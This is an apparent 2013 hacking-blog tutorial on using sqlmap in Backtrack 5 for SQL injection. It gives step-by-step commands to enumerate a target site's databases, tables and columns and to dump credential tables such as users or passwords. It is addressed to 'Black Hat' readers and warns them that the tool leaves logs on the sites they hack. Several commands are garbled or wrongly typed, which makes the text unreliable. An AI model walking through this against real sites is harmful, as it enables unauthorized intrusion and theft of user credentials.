Tuesday, September 17, 2013

Website Hacking: SQL Injection With Backtrack 5

Posted at  7:51 PM - by devil 0

         Website Hacking: SQL Injection With Backtrack 5


To start off I would like to explain what SQL Injection Attack are,

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
(www.http://en.wikipedia.org)

I would also like to add that, I dont use Backtrack to perform SQL injection attacks, but I know how to, so I figured I would put a tutorial up on it.

Ok to start off you are going to need Backtrack, here is a video tutorial on installing it
Installing Backtrack 5 on Windows

Once installed you will need to navigate to
Exploitation Tools > Web Exploitation Tools > sqlmap
Once clicked a console like window will appear you will then need to type the following code

Code:
python.py -u http://sitename.com/dorkhere?id=32 --dbs
This code will make backtrack scan your site

Once done you should see multiple database names, you will then need to type

Code:
python.py -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere --Tables
This will then collect the tables from that database, once done you should have a list of all the tables from that database, you should try and choose a table that is something like users,pwd,passwords,members,admin, you will now need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T TableNameHere --columns
This will then gather all the columns form that table

You should be able to see a list of columns, yet again you need to look out for something like users,pwd,passwords,members,admin, you will then need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T allowed -c columnName --dump







You will then get the information that you wanted,
Thanks for reading, I really hope this tutorial has helped you Black Hat
Note: SqlMap and backtrack overall does leave logs, so watch out for what sites you try and hack

About the Author

Write admin description here..

0 comments:

Copyright © 2013 hacking-guru. by Bloggertheme9 Powered by Blogger.
WP Theme-junkie converted by Blogger template